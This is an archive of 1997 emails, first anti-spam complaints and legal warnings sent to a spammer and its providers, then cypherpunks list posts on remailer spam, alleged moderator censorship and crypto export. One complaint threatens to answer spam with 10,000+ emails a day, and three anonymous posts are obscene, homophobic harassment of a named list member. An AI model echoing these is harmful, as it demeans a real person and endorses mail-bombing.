will result in a campaign on Usenet to ban your site.
==========================================================================
Received: from h.m.ginsberg.worldnet.att.net ([207.146.7.96])
          by mtigwc01.worldnet.att.net (post.office MTA v2.0 0613 )
          with SMTP id AAA28725; Thu, 6 Feb 1997 21:45:53 +0000
Message-Id: <32FA50AF.4AAB@worldnet.att.net>
Date: Thu, 06 Feb 1997 16:44:15 -0500
From: "Howard M. Ginsberg" <h.m.ginsberg@worldnet.att.net>
Organization: Amateur Radio Operator W1HG/4
To: freeway@206.222.107.196
Cc: postmaster@telysis.com, freeway@dm.com
Subject: Re: FREE OFFER !!
References: <B0000008087@telysis3.telysis.com>

PLEASE IMMEDIATELY REMOVE ME FROM YOUR MAILING LIST.
ANY FURTHER E-MAILS FROM YOU WILL RESULT IN THE AUTOMATIC GENERATION OF
A MINIMUM OF 10,000+ E-MAILS TO YOU ON A DAILY BASIS.
THANK YOU FOR YOUR IMMEDIATE COOPERATION.
==========================================================================
Received: from localhost (8.8.4/8.8.4) with ESMTP id JAA16508; Thu, 6 Feb 1997 09:36:27 -0500
To: freeway@[206.222.107.196]
Cc: postmaster@dm.com, psinet-domain-admin@PSI.COM, hostinfo@PSI.COM,
        domain-fee-contact@PSI.COM, postmaster@TELYSIS.COM
Subject: JUNK: FREE OFFER !! (REMOVE DELETE UNSUBSCRIBE UN-SUBSCRIBE)
In-Reply-To: Message <B0000008087@telysis3.telysis.com> of
             "Sun, 28 Jan 1996 08:17:36 EST"
Date: Thu, 06 Feb 1997 09:36:26 -0500
Message-Id: <16506.855239786@interlog.com>
From: John R MacMillan <john@interlog.com>

Please remove me from your junk mailing list.  If you are not the
originator of this message, you may wish to know that a spammer is
making use of your mail system.  ISPs please consider having an
``Acceptable Use'' policy that forbids spamming.

This junk mail appears to be from:

freeway@206.222.107.196

To a junk mailing list maintained by:

freeway@dm.com

And appears to have been injected into the mail system at:

telysis3.telysis.com

Accordingly, the following addresses have been notified:

freeway@[206.222.107.196]
postmaster@dm.com
psinet-domain-admin@PSI.COM
hostinfo@psi.com
domain-fee-contact@PSI.COM
postmaster@TELYSIS.COM

Further mail from freeway@206.222.107.196 will be automatically
forwarded to the above addresses, and possibly to sites that maintain
lists of abusive spammers.  Mail from this address WILL NOT BE SEEN BY
ME.

This is an automated message.
==========================================================================
Received: from BHeaton (dtp01-21.txdirect.net [204.57.92.245]) by legend.txdirect.net (8.8.5/8.8.3) with SMTP id KAA18681; Thu, 6 Feb 1997 10:06:02 -0600 (CST)
Date: Thu, 6 Feb 1997 10:06:02 -0600 (CST)
Message-Id: <199702061606.KAA18681@legend.txdirect.net>
From: Brian D Heaton <bheaton@txdirect.net>
Subject: Re: FREE OFFER !! -- SPAM
To: freeway@206.222.107.196, freeway@dm.com, postmaster@telysis.com
Cc: abuse@psi.net, abuse@psi.com, postmaster@psi.net, postmaster@psi.com

Sirs,

        Remove me from all mailings managed by you company immediately.
This is my second request.  Any further mailings from your organization
will result in further action.

PSI - This network abuser is a client of your service.  I would appreciate
a notification of the action taken agains this organization.

                                BDH
==========================================================================
Received: from [207.8.3.19] by jump.net (8.8.4/BERK-6.8.11)
	id UAA08328; Thu, 6 Feb 1997 20:19:18 -0600 (CST)
Message-Id: <v01510100af20433e39a2@[207.8.2.23]>
Date: Thu, 6 Feb 1997 20:29:47 -0600
To: freeway@206.222.107.196, freeway@dm.com
From: netminder@jump.net (ERic V & Lisa S)
Subject: Re: FREE OFFER !!
Cc: postmaster@206.222.107.196

I don't want any free stuff.

In fact, I'm quite put out that I'm getting this junk.

I'm copying your postmaster on the off chance that it's not you, on the
hopes that you'll get a stern talking to or perhaps even removal from your
service.

Spamming like this is VERY frowned upon.

It appears (as I've now received several of these 'type REMOVE' type
messages) that someone is selling my email address.  I would appreciate, if
that is the case, that you send me their name and/or number and/or email
address so that I can let them know personally my feelings.

I also recommend, if that is indeed the case, that you contact the BBB and
your State Comptroller and see what can be done about capturing the
charlatans.

Good luck with the barrage of nasty messages you're about to receive.

ERic
==========================================================================
Received: (from egburr@localhost) by kiowa.wildstar.net (8.8.3/8.7.3) id IAA21628; Fri, 7 Feb 1997 08:53:09 -0600
From: Edward Burr <egburr@kiowa.wildstar.net>
Message-Id: <199702071453.IAA21628@kiowa.wildstar.net>
Subject: ABUSE (was: FREE OFFER !!)
To: freeway@206.222.107.196, root@206.222.107.196, postmaster@206.222.107.196
        abuse@206.222.107.196, twalton@ACSI.NET, postmaster@TELYSIS.COM,
        psinet-domain-admin@PSI.COM, info@DM1.COM, root@CLEVER.NET,
        root@ACSI.NET, postmaster@ACSI.NET, abuse@ACSI.NET
Date: Fri, 7 Feb 1997 08:53:09 -0600 (CST)
Cc: root@TELYSIS.COM, postmaster@TELYSIS.COM, abuse@TELYSIS.COM, root@dm.com,
        postmaster@dm.com, abuse@dm.com, root@DM1.COM, postmaster@DM1.COM,
        abuse@DM1.COM
In-Reply-To: <B0000008091@telysis3.telysis.com> from "freeway@206.222.107.196" at Jan 28, 96 08:17:40 am

Dear junk email spammer, please REMOVE ME FROM YOUR MAILING LIST
IMMEDIATELY.  I charge for reading unsolicited email advertising.
I did not sign up for this, and I should not have to request to
not be made a victim of this.  I have a limited amout of disk space
available to me, and your junk email is wasting some of it.

By the way, you really need to fix your clock; the current year
is 1997.

POSTMASTER/SYSADMIN: Please archive this notice in case I need
proof that I sent it and it was received at your site.  Thank you.

ACSI.NET         You are the last nameserved host along the route
                 to the originating IP address of this spam.
TELYSIS.COM      You are the originating mail server.
DM.COM (PSI.COM) You are who this spam is supposedly TO; this
                 indicates you are probably being used as a mail list
                 forwarder.
DM1.COM (CLEVER.NET) You are hosting this spammer's web site.

(offending junk email spam below...)

--/Edward Burr/-------------------+----------------------------------
| Senior, Science Education, OU   | Use of my e-mail address or URL |
| egburr@wildstar.net             | is restricted.  Visit my home   |
| http://www.wildstar.net/~egburr | page for details.               |
 \                               / \                               /
    \ Unless otherwise noted, all opinions here are solely my own./
==========================================================================
Received: from vfg-pa1-10.ix.netcom.com (vfg-pa1-10.ix.netcom.com [205.184.1.42]) by dfw-ix2.ix.netcom.com (8.6.13/8.6.12) with SMTP id XAA13579 for <postmaster@dm.com>; Thu, 6 Feb 1997 23:49:17 -0800
From: ISCHLANG@IX.NETCOM.COM
To: postmaster@dm.com
Subject: LEGAL WARNING
Date: Fri, 07 Feb 1997 06:48:17 GMT
Message-Id: <32fecec9.1097207@smtp.ix.netcom.com>

Dear Postmaster,
	On two other occasions I have requested to be removed from
your clients list, yet I am still receiving unsolicited email
advertising from them. This is in direct violation of US CODE TITLE 47
under which I may collect 500 dollars for each occurrence. Please look
into this and get back to me prior to my filing charges against you
and your client for this continued harassment.
==========================================================================
Received: (from hazmat@localhost) by nsa.ecosoft.com (8.8.3/8.8.3) id JAA02044; Thu, 6 Feb 1997 09:17:22 -0500 (EST)
From: Ken W <hazmat@shore.net>
Message-Id: <199702061417.JAA02044@nsa.ecosoft.com>
Subject: Re: FREE OFFER !!
To: freeway@206.222.107.196, postmaster@telysis.com, postmaster@dm1.com
Date: Thu, 6 Feb 1997 09:17:22 -0500 (EST)
Cc: freeway@dm.com
In-Reply-To: <B0000008257@telysis3.telysis.com> from "freeway@206.222.107.196" at Jan 28, 1996 08:23:34 AM

This is a spam is is hopefully grounds for immediate termination
of your account.  People like you make the Internet a place that
is not very fun anymore.


<snipped>

--
hazmat@shore.net               http://www.shore.net/~hazmat
Shore.Net Web Administration
webmaster@shore.net            http://www.shore.net/

 "...and the number of the beast is vivivi...."
==========================================================================
Received: from [206.80.13.141] (sfmax2-141.ppp.wenet.net [206.80.13.141]) by mom.hooked.net (8.8.0/8.7.3) with ESMTP id NAA20127 for <postmaster@dm.com>; Thu, 6 Feb 1997 13:13:34 -0800 (PST)
X-Sender: acates@mailhost.hooked.net
Message-Id: <l03010d00af1ff926c8b5@[206.80.13.141]>
Date: Thu, 6 Feb 1997 13:12:19 -0800
To: postmaster@dm.com
From: Alden Cates <acates@hooked.net>
Subject: "FREE OFFER !!" Junk e-mail

I tried to remove myself from this listing but I can't!!  I did NOT signup
to be on this list and I don't want this tye of crap in my e-mail box.  I
got a message saying that the address my "REMOVE: e-mail went to did not
get there.  I recently got this e-mail:
==========================================================================
Received: from RICHARD.COMP-UNLTD.COM (richard.comp-unltd.com [204.212.166.234]) by cu.imt.net (8.7.3/8.6.12) with ESMTP id IAA12115; Thu, 6 Feb 1997 08:28:34 -0700 (MST)
Message-Id: <199702061528.IAA12115@cu.imt.net>
From: "Richard Barndt" <richard@imt.net>
To: <freeway@dm.com>
Cc: <postmaster@dm.com>
Subject: REMOVE
Date: Thu, 6 Feb 1997 08:30:42 -0700

Offense under US code Title 47, Sec 227(b) (1) (C)
I have recently received UNSOLICITED and UNWANTED junk e-mail from an
individual who appears to be using your site.  A copy of that mail is
attached herewith.  Junk Mail is now regarded as the same as unwanted and
unsolicited junk faxes and telemarketing calls - all of which are now
ILLEGAL under US federal law:

     By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer
     meets the definition of a telephone fax machine. By Sec.227(b)
     (1)(C), it is unlawful to send any unsolicited advertisement to
     such equipment, punishable by action to recover actual monetary
     loss, or $500, whichever is greater, for EACH violation.

Please ensure this is stopped NOW.  You have been put on notice.  If you
confirm to me promptly that effective action has been taken against those
persons responsible, I will not take the matter further on this occasion.

If you do not provide me with such confirmation in a timely manner, or if
ANY further UNSOLICITED or UNWANTED junk mail should be received from your
site, I will instruct my attorney to issue a writ WITHOUT FURTHER NOTICE,
and the matter will then be pursued under federal law.  I will separately
notify your upstream providers as they may also be liable for violations
originating from your site.
==========================================================================
Received: from lawr40.static.usit.net (lawr40.static.usit.net [199.1.57.110]) by SMTP.USIT.NET (8.7.5/8.6.12) with SMTP id BAA14481; Fri, 7 Feb 1997 01:27:48 -0500 (EST)
From: sstutts@usit.net (THE Lone Wolf)
To: 206.222.107.196@abuse.networks.net, B0000008256@telysis3.telysis.com
        dm.com@abuse.networks.net, freeway@206.222.107.196, freeway@dm.com,
        postmaster@[206.222.107.196], postmaster@dm1.com,
        postmaster@telysis3.telysis.com,
        telysis3.telysis.com@abuse.networks.net
Subject: Offence under US code Title 47, Sec 227(b) (1) (C)
Date: Fri, 07 Feb 1997 06:15:55 GMT
Message-Id: <32fec88e.867280@smtp.usit.net>

I have recently received UNSOLICITED and UNWANTED junk e-mail from an
individual who appears to be using your site.  A copy of that mail is
attached herewith.  Junk Mail is now regarded as the same as unwanted
and unsolicited junk faxes and telemarketing calls - all of which are
now ILLEGAL under US federal law:

     By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer
     meets the definition of a telephone fax machine. By Sec.227(b)
     (1)(C), it is unlawful to send any unsolicited advertisement to
     such equipment, punishable by action to recover actual monetary
     loss, or $500, whichever is greater, for EACH violation.

Please ensure this is stopped NOW.  You have been put on notice.  If you
confirm to me promptly that effective action has been taken against those
persons responsible, I will not take the matter further on this occasion.

If you do not provide me with such confirmation in a timely manner, or if
ANY further UNSOLICITED or UNWANTED junk mail should be received from =
your
site, I may instruct my attorney to issue a writ WITHOUT FURTHER NOTICE,
and the matter will then be pursued under federal law.  I will separately
notify your upstream providers as they may also be liable for violations
originating from your site.
==========================================================================
Received: from gregspc (isabella-57.pagesz.net [208.194.157.57]) by pagesz.net (8.8.5/8.7.3) with SMTP id UAA08671; Thu, 6 Feb 1997 20:07:09 -0500
Message-Id: <32FA7D27.63AE@pagesz.net>
Date: Thu, 06 Feb 1997 19:53:59 -0500
From: Gregory Boop <gboop@pagesz.net>
To: 206.222.107.196@abuse.networks.net, abuse@206.222.107.196, abuse@dm.com
        abuse@dm1.com, abuse@telysis.com, abuse@telysis3.telysis.com,
        B0000008256@telysis3.telysis.com, dm.com@abuse.networks.net,
        freeway@206.222.107.196, freeway@dm.com, postmaster@206.222.107.196,
        postmaster@dm.com, postmaster@dm1.com, postmaster@telysis.com,
        postmaster@telysis3.telysis.com,
        telysis3.telysis.com@abuse.networks.net
Subject: Offence under US code Title 47, Sec 227(b) (1) (C)

I have recently received UNSOLICITED and UNWANTED junk e-mail from an
individual who appears to be using your site.  A copy of that mail is
attached herewith.  Junk Mail is now regarded as the same as unwanted
and unsolicited junk faxes and telemarketing calls - all of which are
now ILLEGAL under US federal law:

     By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer
     meets the definition of a telephone fax machine. By Sec.227(b)
     (1)(C), it is unlawful to send any unsolicited advertisement to
     such equipment, punishable by action to recover actual monetary
     loss, or $500, whichever is greater, for EACH violation.

Please ensure this is stopped NOW.  You have been put on notice.  If you
confirm to me promptly that effective action has been taken against
those
persons responsible, I will not take the matter further on this
occasion.

If you do not provide me with such confirmation in a timely manner, or
if
ANY further UNSOLICITED or UNWANTED junk mail should be received from
your
site, I will instruct my attorney to issue a writ WITHOUT FURTHER
NOTICE,
and the matter will then be pursued under federal law.  I will
separately
notify your upstream providers as they may also be liable for violations
originating from your site.
==========================================================================
Received: from kohn-b (cnc129043.concentric.net [206.173.9.43])
	by newman.concentric.net (8.8.5/(97/01/29 1.12))
	id IAA26653; Fri, 7 Feb 1997 08:01:05 -0500 (EST)
	[1-800-745-2747 The Concentric Network]
Message-Id: <199702071301.IAA26653@newman.concentric.net>
Reply-To: <bicker@concentric.net>
From: "Brian Charles Kohn" <bicker@concentric.net>
To: <abuse@dm.com>
Subject: Fw: FREE OFFER !!
Date: Fri, 7 Feb 1997 07:00:31 -0600

Please note that your subscriber "freeway" is sending out unsolicited
commercial solicitations.  Besides the legal issues, it is not appreciated.
 Please address this issue with your subscriber.
==========================================================================
Received: (from larry@localhost) by casper.tvinet.com (8.8.4/8.8.2) id QAA26259; Thu, 6 Feb 1997 16:51:18 -0800 (PST)
Date: Thu, 6 Feb 1997 16:51:16 -0800 (PST)
From: Larry Phillips <larry@casper.tvinet.com>
To: freeway@206.222.107.196, root@206.222.107.196, postmaster@206.222.107.196
Cc: freeway@dm.com, root@dm.com, postmaster@dm.com
Subject: Re: FREE OFFER !!
In-Reply-To: <B0000010696@telysis3.telysis.com>
Message-Id: <Pine.OSF.3.91.970206165006.25645A-100000@Casper>

Bugger off

==========================================================================
Received: from frankenputer (pmnet02-08.austin.texas.net [207.207.2.8]) by natashya.eden.com (8.8.5/8.8.1) with SMTP id SAA15421; Thu, 6 Feb 1997 18:58:00 -0600 (CST)
Message-Id: <3.0.32.19970206185637.009f1b40@mail.eden.com>
Date: Thu, 06 Feb 1997 18:56:40 -0600
To: postmaster@telysis.com, postmaster@dm.com
From: "John D. Webb" <jdwebb@logiclabs.com>
Subject: SPAM ABUSE: FREE OFFER !!

To whom it may concern,

I received this *unsolicited* SPAM mail originating from or referencing
your domain. I do *not* appreciate receiving such junk mail. I request that
you take whatever steps are necessary with the account holder to see that
they desist such abuses.

   Thank you,
   John Webb
==========================================================================
Date: Sat, 8 Feb 1997 11:06:21 -0500 (EST)
From: FZR400@aol.com
Message-Id: <970208110620_-1174326236@emout05.mail.aol.com>
To: postmaster@bwalk.dm.com
Subject: Re: Returned mail


SOMEONE AT THIS DOMAIN HAS BEEN SENDING UNSOLICITED E-MAIL ADVERTISING.
TELL THEM TO CEASE AND DESIST IMMEDIATELY.
Member, Internet Advertising Relief Association
http://users.aol.com/fzr400/junkmail.htm
==========================================================================
Received: from benicia60.castles.com (benicia60.castles.com [206.54.43.80]) by mustang.via.net (8.6.9/8.6.9) with SMTP id WAA26381; Sat, 8 Feb 1997 22:12:37 -0800
Message-Id: <199702090612.WAA26381@mustang.via.net>
Date: Sat, 08 Feb 1997 22:13:02 -0800
To: abuse@PSI.COM, root@CLEVER.NET, abuse@CLEVER.NET
From: Brad Albom <brada@via.net>
Subject: SPAM: FREE OFFER !!
Cc: freeway@dm.com

Hi-

This email is to notify you that one of the domains and/or
users that you are resolving for is sending SPAM email.
The email included below was unsolicited and unwelcome.
I presume that you have policies regarding this type of
activity and will take appropriate action.

Thank you,

<snipped>

-brad albom
Software Engineering Solutions, Inc
2685 Marine Way, Suite 1215, Mountain View, CA 94043
email: brada@sesinc.com  <- Office address
alt  : brada@via.net     <- Home address, checked more frequently
phone: (415) 969-0141
alt  : (707) 552-5248
==========================================================================

Meaw.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@as-node.jena.thur.de (Lutz Donnerhacke)
Date: Sun, 9 Feb 1997 05:38:57 -0800 (PST)
To: Ed.Falk@Eng.Sun.COM (Ed Falk)
Subject: Re: lead remailer is shut down
In-Reply-To: <199702071958.LAA18779@peregrine.eng.sun.com>
Message-ID: <m0vtXHn-0003tuC@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text


* Ed Falk wrote:
> Can't remailers be written with basic spam safeguards?  I.e. no mass
> crossposts, limited # of posts by each individual client per day, etc.?

Yes, thay can, but using PGP is enough to filter out the majority of spammers.

-- 
|   Lutz Donnerhacke   +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax    |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Sun, 9 Feb 1997 09:36:45 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
In-Reply-To: <199702071813.SAA16692@mailhub.amaranth.com>
Message-ID: <Pine.OS2.3.95.970209123447.1348A-100000@klinzhai.nanticoke.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 7 Feb 1997, William H. Geiger III wrote:

> I do find the accusation that Sandy blocked the posting of a message critizing
> the company he works for rather troubling. Though there are several
> possibilities:
> 
> 1 - It is just more FUD.
> 
> 2 - Snafu. As I am sure everyone here is aware of that this happend more often
>     than not with computer system.
> 
> 3 - It's true. This would be realy sad and probably do irreparable harm to
>     Sandy's reputation.
> 
> I hope that it is #1 or #2 if it is #3 I doubt that I will stay any longer on
> the cypherpunks list. :(

Count it as #3...  Sandy didn't pass my response to one of Vulis'
messages (asking for him to supply some evidence) to either list, and
e-mailed me, telling me about it.


|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMv4LFSKEMrE5tbrdAQGAJgP/XMOwPHGlEeyapjq/YboDKoJSAmasZulk
5nOyZGTZ4hVvb2L5EPTvRSFzKcqlxhBGPw/ww8aRjnKZjnubpeJ0xthxuLi6PQUC
IAhTbJnQhoZ6q6fxMr4mv9syi8B9NXO0w0OSs3qp8CPMWYA+09JAEsthsgvsuT8V
CQrRFWt5jGo=
=BLNH
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>"Attila T. Hun" <attila@primenet.com>
Date: Sun, 9 Feb 1997 11:39:32 -0800 (PST)
To: zinc <cypherpunks@toad.com>
Subject: Re: lead remailer is shut down
In-Reply-To: <199702070340.UAA22677@infowest.com>
Message-ID: <199702091939.MAA15243@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970207:0339 zinc <zinc@zifi.genetics.utah.edu> said:

+i came in today to find they (university system admins) had pulled the
+plug on my machine.  this is all because some luser spammed usenet
+using the remailer on my machine.  thanks a lot.

+so, the lead remailer is gone for good; it lasted almost exactly one
+year. 

    that is the universal problem.  we make the remailer chains so they 
    guarantee privacy, but we cannot filter for spam...

    unless it is the last mixmaster in the chain.  it sounds like we
    need a postprocessor which can 

    1)  contain addresses and domain numbers of known spammers; 

    2)  log senders to obtain a usage profile (over a very short time, 
        and that is itself encrypted) which can spot enormous expansion 
        headers.  for instance, linda thompson is accusing a cypherpunk 
        [more like a cypherpunk hater] of faking her address on 
        threatening material to all 100 senators plus Al Bore; 

        interestingly, the perpetrator left enough information in the
        header, which was returned for addressing Al Bore incorrectly, 
        to be able to narrow the field; and,

    3)  most spamming seems to follow a pattern which it should be
        possible to scan for. the problem, of course, being that 
        "innocent" messages will potentially be trashed.

    whatever it takes, there are a finite number of sites which can host 
    remailer traffic.

    for instance, I have been debating whether or not we can afford the 
    load on our single T1 which is currently supporting 200 simultaneous 
    ppp connections plus some high-volume commerical web pages. We are 
    at least a year away from T3 due to lack of circuit facilities.

    let's figure a way to stop at least some of the abuse; you can not 
    stop the individual abuse, but does a spammer have any rights?

        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMv4nxb04kQrCC2kFAQHAngP+J+JRSKLXsLcug00moPK78brGzzmSTRVI
BQmHM9845OWXazbQVj6Q9+HiV5I+7wGY2INm7i6PI9ebNRptORfCTlHkmMzrwfmj
Ji/WzhDkJ0eRvmDwHxBuq5unqYLe9ACtMrOCGQo+EYywNcscsXKKuMvFKAPC/Bp8
M46FHO9AphM=
=NEYd
-----END PGP SIGNATURE-----
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Sun, 9 Feb 1997 09:47:28 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Taking advantage of Newt's phone calls
Message-ID: <Pine.OS2.3.95.970209124421.1348B-100000@klinzhai.nanticoke.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

It seems like Sprint's taking advantage of the tap on Newt's little
call there by advertising how Sprint Spectrum is private and no one
can listen in, with little "signal" graphics going from one SS phone
to another in DC...  Cute...

|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMv4NVCKEMrE5tbrdAQFIpgQAsS87dmofyalpLJMJjIRk71KmZheEbhnJ
WNvCO2fvvxP5aURbeh/MwVV7KOL0hcISPVWoFXrP9HmWSuhc3X7TRCQKVGESTOzS
9z2TaTF8hcAV8PFN3CCReBU5p/6OUBLN85pMbgyk818hAMf9LRhnroauSzQlXtGz
iAhkvhlnBUg=
=eAZ+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Feb 1997 11:10:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
In-Reply-To: <Pine.OS2.3.95.970209123447.1348A-100000@klinzhai.nanticoke.net>
Message-ID: <o0DV2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Gurski <mgursk1@umbc.edu> writes:
>
> On Fri, 7 Feb 1997, William H. Geiger III wrote:
>
> > I do find the accusation that Sandy blocked the posting of a message critiz
> > the company he works for rather troubling. Though there are several
> > possibilities:
> >
> > 1 - It is just more FUD.
> >
> > 2 - Snafu. As I am sure everyone here is aware of that this happend more of
> >     than not with computer system.
> >
> > 3 - It's true. This would be realy sad and probably do irreparable harm to
> >     Sandy's reputation.
> >
> > I hope that it is #1 or #2 if it is #3 I doubt that I will stay any longer
> > the cypherpunks list. :(
>
> Count it as #3...  Sandy didn't pass my response to one of Vulis'
> messages (asking for him to supply some evidence) to either list, and
> e-mailed me, telling me about it.

Please post Sandfart's e-mail to this mailing list.  Thank you.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Sun, 9 Feb 1997 10:05:15 -0800 (PST)
Subject: Ken Bass Interview Schedule Corrections
Message-ID: <199702091805.NAA10043@access4.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Schedule Correction ***

	Ken Bass (counsel for Phil Karn)
	interviewed live on "Real Time"
***

>> *** Monday, Feb. 10  ***  <<   Note the date correction
   *** 9:00 PM ET       ***

Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti,
LLP, and is the head of that firm's Appellate Practice Group.  Recently
Venable served as counsel to Phil Karn during his dispute with the
Department of State concerning export of a diskette containing the source
code for cryptographic algorithms published in the book _Applied_
_Cryptography_, having already received permission to export the book. 

See http://isptv.digex.net/real.time.html for more information about "Real
Time" 

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://isptv.digex.net/members.html. 

See URL http://isptv.digex.net for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 9 Feb 1997 10:23:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Who's Censoring Who?
Message-ID: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy's e-mailed several of us who've sent messages about Vulis's
ploy to put Sandy in a conflict-of-interest bind -- a well-known attack 
on moderators of all kinds, not just on the net. 

What's worth admiring is how Vulis has adeptly managed to get others
 -- targets and witting and unwitting cohorts -- to go along with his attack, 
attack, attack, by opposing or supporting it. A useful lesson.

Smart dude, that Vulis, but no more so than others on the Net, say, Tim
May, and in the world who've done the same elsewhere, maybe 
by even smarter dude(s) who provoked, angered, insulted, an unwitting 
Vulis, or May, to attack on behalf of ... 

But such deception is to be expected, along with feigned suprise and
outrage at the unfairness of opponents fighting as dirty as one's own
pure-blackhearts.

Sandy's not censoring cypherpunks, nor is Vulis or May or any single 
person alone. As Pogo said, it's all of us, posters and lurkers and spooks, 
each trying to get one's way to prevail, under guise of a high principle not 
easily honored when the squeeze is on alone in a dark cell. Come on out
Sandy, it was just a drill.

It's probably worth saving accusations of censorship for the real thing, 
after trial usage here for what is truly nasty high-stakes global info-war 
gaming.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sun, 9 Feb 1997 12:20:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Corelation
Message-ID: <199702092020.NAA14898@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dogfucker Vulture KreepOfTheMinute enjoys sucking the puss from his
syphilitic faggot friends.

 v-v-v-@@-v-v-v
      (..)     Dogfucker Vulture KreepOfTheMinute






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 14:09:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PVT] Export restrictions
Message-ID: <199702092209.OAA27719@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vindictive K[ock] Of The Minute wears satin lingerie
embroidered with pink swastikas, prancing around for his homosexual,
AIDS infected lovers.

      o_o
     (   )  Drunkard Vindictive K[ock] Of The Minute
    ( | | )
    ' " " `






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sun, 9 Feb 1997 13:17:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MS Crypto API
Message-ID: <199702092117.OAA16670@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimmy L(ogjam) Vulgar K(rust) Of The Minute sits at his terminal
dressed in five-inch stiletto heels, fishnet stockings, a gold-lame
mini-skirt, a purple halter with girdle underneath to keep in his
flabby gut, a Fredericks of Hollywood padded bra also underneath the
halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank
whenever a black man responds to one of his inane rants.

   |\     \ \ \ \ \ \ \     __
   |  \    \ \ \ \ \ \ \   | O~-_ Dr.Dimmy L(ogjam) Vulgar K(rust) Of The Minute
   |   >----|-|-|-|-|-|-|--|  __/
   |  /    / / / / / / /   |__\
   |/     / / / / / / /





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 9 Feb 1997 11:20:52 -0800 (PST)
To: bdolan@USIT.NET
Subject: Re:  RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <01IF7R5JKCAO9AN66A@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"bdolan@USIT.NET"  "Brad Dolan"  9-FEB-1997 10:35:16.85

>"Love it or leave it?"

>On Sun, 9 Feb 1997, Phil Agre wrote:

>> You have plenty of choice.  If you don't like our country, move somewhere
>> else.

	I made the point back to Dr. Agre that I can't choose to live in
_no_ country (at least not practically), but I can (except for state-imposed
limits) live without automobile insurance. I already do so for credit cards,
except for one I use only in emergencies.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
